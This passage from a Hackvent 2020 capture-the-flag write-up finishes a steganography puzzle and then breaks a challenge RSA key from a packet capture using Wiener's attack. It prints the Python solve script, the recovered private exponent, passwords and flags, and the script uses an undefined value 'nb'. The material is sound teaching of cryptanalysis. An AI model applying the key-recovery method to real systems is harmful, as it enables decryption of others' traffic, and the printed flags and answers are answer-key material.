low). This image is really useful to visualize it: Looking at the music from the challenge, there are two notes at any given time. There’s another clue in the image. The Sharpen filter in Gimp makes it easier to see, it is visible in the image above as well: That’s the symbol for xor. Putting that all together, there are two hex strings and a hint to xor. Doing that gives a string: >>> x1 = binascii.unhexlify("e3b4f4e3d3e2d3a5b5d5a2e5a5e3a3") >>> x2 = binascii.unhexlify("b3e3d5d3a3d1a1c4e3e4d1d4d1d3d1") >>> ''.join([chr(x ^ y) for x,y in zip(x1, x2)]) 'PW!0p3raV1s1t0r'  #### mobilefish A google image search on the hint image reveals that it is of Victory Peak in Hong Kong After the wikipedia page for Hong Kong, an article about Hong Kong, and a bunch of “Visually similar images”, the third link is to an online steganography service on www,mobilefish.com. In the description of the service, it says: See an example of a photo where a secret message is hidden: https://www.mobilefish.com/download/steganography/hongkong.png To unhide the secret message use this tool and enter password: joshua This is exactly the same image that Hackvent provided (hashes match). Providing it to this service with the password joshua extracts demo text: Given that I’m pretty sure that’s not what I’m looking for, I uploaded the notes image to this service. When I tried to enter the password from above, it returns that it is invalid: On trying it with no password, it works: The file that downloads is flag.zip. #### Extract With the zip and the password, I can extract flag.txt: $ 7z x flag.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.utf8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-7700 CPU @ 3.60GHz (906E9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 221 bytes (1 KiB)

Extracting archive: flag.zip
--
Path = flag.zip
Type = zip
Physical Size = 221

Enter password (will not be echoed):
Everything is Ok

Size:       21
Compressed: 221


flag.txt has the flag:

$cat flag.txt HV20{r3ad-th3-mus1c!}  Flag: HV20{r3ad-th3-mus1c!} ## HV20.12 ### Challenge HV20.12 Wiener waltz Categories: CRYPTO Level: medium Author: SmartSmurf Introduction During their yearly season opening party our super-smart elves developed an improved usage of the well known RSA crypto algorithm. Under the “Green IT” initiative they decided to save computing horsepower (or rather reindeer power?) on their side. To achieve this they chose a pretty large private exponent, around 1/4 of the length of the modulus - impossible to guess. The reduction of 75% should save a lot of computing effort while still being safe. Shouldn’t it? Mission Your SIGINT team captured some communication containing key exchange and encrypted data. Can you recover the original message? Download Hints • Don’t waste time with the attempt to brute-force the private key The file is a packet capture: $ file b7307460-be03-45be-bd9f-b404b48e62c9.pcap
b7307460-be03-45be-bd9f-b404b48e62c9.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 65535)


### Solution

#### PCAP

Inside the PCAP there are two TCP streams, but only one that is relevant to the challenge:

It contains the exchange of RSA encrypted data. There are two base64-encoded strings that represent n and e, important numbers in RSA. There’s also four messages with a blockId (0-3) and a base64-encoded string data. The other important thing to notice is the format of ["mpz_export",-1,4,1,0].

#### Get n and e

Looking at mpz_export led to this page, which gives the function parameters for mpz_export and mpz_import. Looking at those, a reasonable guess is that -1, 4, 1, 0 are the int order, size_t size, int endian, and size_t nails respectively.

• order == -1 –> least significant word first
• size == 4 –> four bytes per word
• endian == 1 –> big endian within the word
• nails 0 –> use the full words

Base64-decoding the text provides a byte stream. To get it to an int, I’ll have to break it into four-byte words, and then reverse the order. I wrote a helper function in Python to do that:

def reorder(b):
return b''.join([b[i:i+4] for i in range(0, len(b), 4)][::-1])


That function will now allow the calculation of n and e as integers:

eb = reorder(base64.b64decode("S/0OzzzDRdsps+I85tNi4d1i3d0Eu8pimcP5SBaqTeBzcADturDYHk1QuoqdTtwX9XY1Wii6AnySpEQ9eUEETYQkTRpq9rBggIkmuFnLygujFT+SI3Z+HLDfMWlBxaPW3Exo5Yqqrzdx4Zze1dqFNC5jJRVEJByd7c6+wqiTnS4dR77mnFaPHt/9IuMhigVisptxPLJ+    g9QX4ZJX8ucU6GPSVzzTmwlDIjaenh7L0bC1Uq/euTDUJjzNWnMpHLHnSz2vgxLg4Ztwi91dOpO7KjvdZQ7++nlHRE6zlMHTsnPFSwLwG1ZxnGVdFnuMjEbPA3dcTe54LxOSb2cvZKDZqA=="))

e = int.from_bytes(eb, 'big')
n = int.from_bytes(nb, 'big')


#### Wiener

From the title of the challenge, Wiener is an attack on RSA when the private exponent (d) is too small (see paper). The prompt suggest they “chose a pretty large private exponent” (which suggests maybe it wasn’t large enough).

The oWiener Python package looks like it’ll help here. After pip3 install owiener it’s easy enough to add to the script:

d = owiener.attack(e, n)

if d is None:
print("[-] Wiener failed")
sys.exit()
else:
print("[+] Found d={}".format(d))


It does produce a d (private key):

$python3 -i solve.py [+] Found d=6466004211023169931626852412529775638154232788523485346270752857587637907099874953950214032608531274791907536993470882928101441905551719029085370950197807  #### Decrypt With d in hand, the RSA-encrypted messages can be decrypted. To decrypt RSA, convert the message to an int, and then call pow(msg, d, n), and the result will be the int version of the plaintext. There are four message blocks from the PCAP. I tried a few combinations of looking at them individually, as a group, with and without word re-ordering. What worked was to order them by the block id, base64-decode them, and then join them into one byte stream: msg = b''.join(list(map(base64.b64decode, ["fJdSIoC9qz27pWVpkXTIdJPuR9Fidfkq1IJPRQdnTM2XmhrcZToycoEoqJy91BxikRXQtioFKbS7Eun7oVS0yw==", "vzwheJ3akhr1LJTFzmFxdhBgViykRpUldFyU6qTu5cjxd1fOM3xkn49GYEM+2cUVk22Tu5IsYDbzJ4/zSDfzKA==", "fRYUyYEINA5i/hCsEtKkaCn2HsCp98+ksi/8lw1HNTP+KFyjwh2gZH+nkzLwI+fdJFbCN5iwFFXo+OzgcEMFqw==", "+y2fMsE0u2F6bp2VP27EaLN68uj2CXm9J1WVFyLgqeQryh5jMyryLwuJNo/pz4tXzRqV4a8gM0JGdjvF84mf+w=="]))) msgi = int.from_bytes(msg, 'big') pti = pow(msgi, d, n) print(f'[+] Flag in bytes:\n{pti.to_bytes(256, "big")}') print(f'[-] Nice print fail: \n{pti.to_bytes(256, "big").decode()}')  $ python3 -i solve.py
[+] Found d=6466004211023169931626852412529775638154232788523485346270752857587637907099874953950214032608531274791907536993470882928101441905551719029085370950197807
[+] Found d=6466004211023169931626852412529775638154232788523485346270752857587637907099874953950214032608531274791907536993470882928101441905551719029085370950197807
[+] Flag in bytes:
b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\rYou made it! Here is your flag: HV20{5hor7_Priv3xp_a1n7_n0_5mar7}\r\rGood luck for Hackvent, merry X-mas and all the best for 2021, greetz SmartSmurf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[-] Nice print fail:
Good luck for Hackvent, merry X-mas and all the best for 2021, greetz SmartSmurf


Flag: HV20{5hor7_Priv3xp_a1n7_n0_5mar7}

### Trolley Carriage Returns

You may notice that my script prints the result both decoded into ASCII and as bytes. In general, I like to include decode() to make the output look prettier. However, the challenge author included just after the flag two (not sure why two) carriage returns (\r). So when I print it as bytes, they just show up as \r. But when I decode and print, the “Good luck for Hackvent” message prints over the flag, so it isn’t visible on the screen.